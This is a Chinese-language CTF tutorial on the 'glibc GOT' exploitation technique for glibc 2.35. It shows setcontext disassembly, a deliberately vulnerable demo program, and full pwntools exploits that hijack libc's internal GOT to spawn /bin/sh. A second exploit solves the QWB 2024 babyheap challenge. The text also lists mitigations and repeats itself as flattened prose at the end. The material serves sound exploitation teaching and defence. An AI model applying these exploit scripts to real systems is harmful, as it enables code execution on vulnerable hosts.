glibc-got攻击手法-1
字数 1631 2025-08-23 18:31:34

Glibc GOT 攻击手法深入解析

1. 攻击原理概述

Glibc GOT 攻击是一种针对 glibc 2.35 版本的新型攻击手法,由 veritas501 师傅在 2023 年 12 月提出。该攻击利用了 glibc 中 GOT 表的可写特性,通过劫持函数调用流程实现代码执行。

关键特性

  • glibc 2.35 的 GOT 表是可写的
  • libc 内部也存在 GOT 表
  • 利用延迟绑定机制进行攻击

2. 技术背景

2.1 GOT/PLT 机制

在 glibc 中,.got.plt 表(Global Offset Table 和 Procedure Linkage Table)用于存储库函数(如 printf)的地址,实现动态加载和调用。

  • 每次程序调用库函数时,.plt 段会从 .got.plt 中获取目标地址并跳转
  • 这个跳转过程受 plt0 控制
  • plt0 的 push 值和 jmp 地址都是从 GOT0 中取出

2.2 setcontext 函数分析

setcontext 函数在不同版本中略有不同,但基本结构相似:

.text:0000000000053A00 pop rdx
.text:0000000000053A01 cmp rax, 0FFFFFFFFFFFFF001h
.text:0000000000053A07 jnb loc_53B2F
.text:0000000000053A0D mov rcx, [rdx+0E0h]
.text:0000000000053A14 fldenv byte ptr [rcx]
.text:0000000000053A16 ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000053A1D mov rsp, [rdx+0A0h]
.text:0000000000053A24 mov rbx, [rdx+80h]
.text:0000000000053A2B mov rbp, [rdx+78h]
.text:0000000000053A2F mov r12, [rdx+48h]
.text:0000000000053A33 mov r13, [rdx+50h]
.text:0000000000053A37 mov r14, [rdx+58h]
.text:0000000000053A3B mov r15, [rdx+60h]
.text:0000000000053A3F test dword ptr fs:48h, 2
.text:0000000000053A4B jz loc_53B06
.text:0000000000053B06 loc_53B06:
.text:0000000000053B06 mov rcx, [rdx+0A8h]
.text:0000000000053B0D push rcx
.text:0000000000053B0E mov rsi, [rdx+70h]
.text:0000000000053B12 mov rdi, [rdx+68h]
.text:0000000000053B16 mov rcx, [rdx+98h]
.text:0000000000053B1D mov r8, [rdx+28h]
.text:0000000000053B21 mov r9, [rdx+30h]
.text:0000000000053B25 mov rdx, [rdx+88h]
.text:0000000000053B2C xor eax, eax
.text:0000000000053B2E retn

关键点:

  • 函数开头是 pop rdx,与 plt0 的 push 对应
  • 可以控制多个寄存器的值
  • 最终通过 retn 实现控制流转移

3. 攻击步骤详解

示例程序分析

#include <stdio.h>
#include <unistd.h>

int main() {
    char *addr = 0;
    size_t len = 0;
    printf("%p\n", printf);
    read(0, &addr, 8);
    read(0, &len, 8);
    read(0, addr, len);
    printf("n132");
}

攻击步骤

  1. 劫持 strchrnul.plt 的跳转

    • printf 函数调用时会间接调用 strchrnul.plt
    • 修改 strchrnul.got 表,使其指向 plt0 的起始地址 (0x28000)
    • 这样每次调用 printf 时,程序会跳转到 plt0 而非 strchrnul
  2. 修改 GOT0 条目

    • plt0 的代码:
      .plt:0000000000028000 push cs:qword_219008
      .plt:0000000000028006 bnd jmp cs:qword_219010
      
    • 将 GOT0 的第一个条目修改为未使用的内存位置,用于布置 setcontext 需要的上下文数据
    • 将 GOT0 的第二个条目修改为 setcontext gadget 的地址 (如 0x53A00)
  3. 构造 setcontext 上下文

    • 在未使用的内存空间中布置 setcontext 需要的上下文结构:
      • 设置 rsp 为某个位置,使程序能继续执行
      • 设置 rip 为想要执行的函数 (如 execve)
      • 设置 rdi、rsi 和 rdx,用于调用 execve("/bin/sh", NULL, NULL)
  4. 触发 printf 调用

    • 调用 printf 函数触发 strchrnul.plt 劫持
    • 程序跳转到 plt0,进而调用 setcontext gadget
    • 执行布置的上下文,实现 RCE

4. 攻击实现 (EXP 编写)

基础部分

from pwn import *
context(log_level="debug", arch="amd64", os="linux")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
io = process("./demo")
elf = ELF("./demo")

# 获取libc基地址
libc.address = int(io.recv(14), 16) - libc.sym['printf']
print(hex(libc.address))

计算关键地址

# 获取GOT和PLT地址
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt0 = libc.address + libc.get_section_by_name(".plt").header.sh_addr

# 计算写入位置
write_dest = got + 8
got_count = 0x36  # 硬编码的GOT条目数量
context_dest = write_dest + 0x10 + got_count * 8

地址计算说明:

  • got + 8: 跳过GOT表前8字节
  • got_count = 0x36: .plt表中函数的数量
  • context_dest: setcontext伪造上下文的存放位置

构造上下文结构

ucontext_structure = flat({
    0x28: libc.sym['environ'] + 8,  # r8
    0x30: 0,                       # r9
    0x48: 0,                       # r12
    0x50: 0,                       # r13
    0x58: 0,                       # r14
    0x60: 0,                       # r15
    0x68: next(libc.search(b"/bin/sh")),  # rdi ("/bin/sh"字符串地址)
    0x70: 0,                       # rsi
    0x78: 0,                       # rbp
    0x80: 0,                       # rbx
    0x88: 0,                       # rdx
    0x98: 0,                       # rcx
    0xA0: libc.sym['environ'] + 8,  # rsp (栈指针)
    0xA8: libc.sym['execve'],      # rip (ret ptr)
    0xE0: context_dest,            # fldenv ptr (上下文环境地址)
    0x1C0: 0x1F80,                 # ldmxcsr 控制寄存器的值
}, filler=b'\x00', word_size=64)

构造完整payload并发送

payload = flat(
    context_dest,                  # 上下文地址
    libc.symbols["setcontext"] + 32,  # setcontext的地址偏移
    [plt0] * got_count,            # 重复plt0多次
    ucontext_structure             # 手动构建的ucontext结构
)

io.send(p64(write_dest))
io.send(p64(len(payload)))
io.send(payload)

5. 实际案例分析 - 强网杯2024 babyheap

题目分析

  • 程序功能:堆管理,可申请、删除、编辑、显示商品
  • 漏洞:delete函数存在UAF,show函数不会\x00截断
  • 特殊函数:default分支中的sub_1C99存在任意地址写

限制条件

void *sub_1C33() {
    void *result; // rax
    if (stdin <= buf && &stdin[512] > buf)
        exit(1);
    result = buf;
    if (&stdin[-2206368] > buf)
        exit(1);
    return result;
}
  • 检查任意地址是否在io结构体附近,阻止了任意地址写io的操作

利用思路

  • 题目中的sub_1DAA函数包含putenv函数
  • getenv函数内部依赖strncmp函数实现
  • 将strncmp函数的got改成printf函数,可以带出flag文件

EXP实现

from pwn import *
context(log_level="debug", arch="amd64", os="linux")

io = process(["/home/pwn/game/qwb24/babyheap/ld-linux-x86-64.so.2", "./pwn"],
             env={"LD_PRELOAD": "/home/pwn/game/qwb24/babyheap/libc-2.35.so"},)
libc = ELF("libc-2.35.so")

# 省略功能函数定义...

# 堆布局
add(0x518)  # 1
add(0x500)  # 2
free(1)
add(0x528)  # 3

# 泄露libc和堆地址
show(1)
libc.address = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x21B110
info("libc base: " + hex(libc.address))
io.recv(10)
heap_base = u64(io.recv(6).ljust(8, b"\x00")) - 0x1950
info("heap base: " + hex(heap_base))

# 修改strncmp的got为printf
strncmp_got = libc.address + 0x21A018 + (0x8 * 32)
mi(p64(strncmp_got), p64(libc.sym["printf"]))

# 触发getenv调用
sec(2)
io.interactive()

6. 防御建议

  1. 启用Full RELRO保护,使GOT表不可写
  2. 使用地址随机化(ASLR)增加攻击难度
  3. 及时更新glibc到最新版本
  4. 对关键函数指针进行额外保护
  5. 限制危险函数的使用(如system、execve等)

7. 参考资源

Glibc GOT 攻击手法深入解析 1. 攻击原理概述 Glibc GOT 攻击是一种针对 glibc 2.35 版本的新型攻击手法,由 veritas501 师傅在 2023 年 12 月提出。该攻击利用了 glibc 中 GOT 表的可写特性,通过劫持函数调用流程实现代码执行。 关键特性 glibc 2.35 的 GOT 表是可写的 libc 内部也存在 GOT 表 利用延迟绑定机制进行攻击 2. 技术背景 2.1 GOT/PLT 机制 在 glibc 中, .got.plt 表(Global Offset Table 和 Procedure Linkage Table)用于存储库函数(如 printf)的地址,实现动态加载和调用。 每次程序调用库函数时,.plt 段会从 .got.plt 中获取目标地址并跳转 这个跳转过程受 plt0 控制 plt0 的 push 值和 jmp 地址都是从 GOT0 中取出 2.2 setcontext 函数分析 setcontext 函数在不同版本中略有不同,但基本结构相似: 关键点: 函数开头是 pop rdx ,与 plt0 的 push 对应 可以控制多个寄存器的值 最终通过 retn 实现控制流转移 3. 攻击步骤详解 示例程序分析 攻击步骤 劫持 strchrnul.plt 的跳转 printf 函数调用时会间接调用 strchrnul.plt 修改 strchrnul.got 表,使其指向 plt0 的起始地址 (0x28000) 这样每次调用 printf 时,程序会跳转到 plt0 而非 strchrnul 修改 GOT0 条目 plt0 的代码: 将 GOT0 的第一个条目修改为未使用的内存位置,用于布置 setcontext 需要的上下文数据 将 GOT0 的第二个条目修改为 setcontext gadget 的地址 (如 0x53A00) 构造 setcontext 上下文 在未使用的内存空间中布置 setcontext 需要的上下文结构: 设置 rsp 为某个位置,使程序能继续执行 设置 rip 为想要执行的函数 (如 execve) 设置 rdi、rsi 和 rdx,用于调用 execve("/bin/sh", NULL, NULL) 触发 printf 调用 调用 printf 函数触发 strchrnul.plt 劫持 程序跳转到 plt0,进而调用 setcontext gadget 执行布置的上下文,实现 RCE 4. 攻击实现 (EXP 编写) 基础部分 计算关键地址 地址计算说明: got + 8 : 跳过GOT表前8字节 got_count = 0x36 : .plt表中函数的数量 context_dest : setcontext伪造上下文的存放位置 构造上下文结构 构造完整payload并发送 5. 实际案例分析 - 强网杯2024 babyheap 题目分析 程序功能:堆管理,可申请、删除、编辑、显示商品 漏洞:delete函数存在UAF,show函数不会\x00截断 特殊函数:default分支中的sub_ 1C99存在任意地址写 限制条件 检查任意地址是否在io结构体附近,阻止了任意地址写io的操作 利用思路 题目中的sub_ 1DAA函数包含putenv函数 getenv函数内部依赖strncmp函数实现 将strncmp函数的got改成printf函数,可以带出flag文件 EXP实现 6. 防御建议 启用Full RELRO保护,使GOT表不可写 使用地址随机化(ASLR)增加攻击难度 及时更新glibc到最新版本 对关键函数指针进行额外保护 限制危险函数的使用(如system、execve等) 7. 参考资源 veritas501师傅的原始文章 glibc源码分析 Linux系统调用手册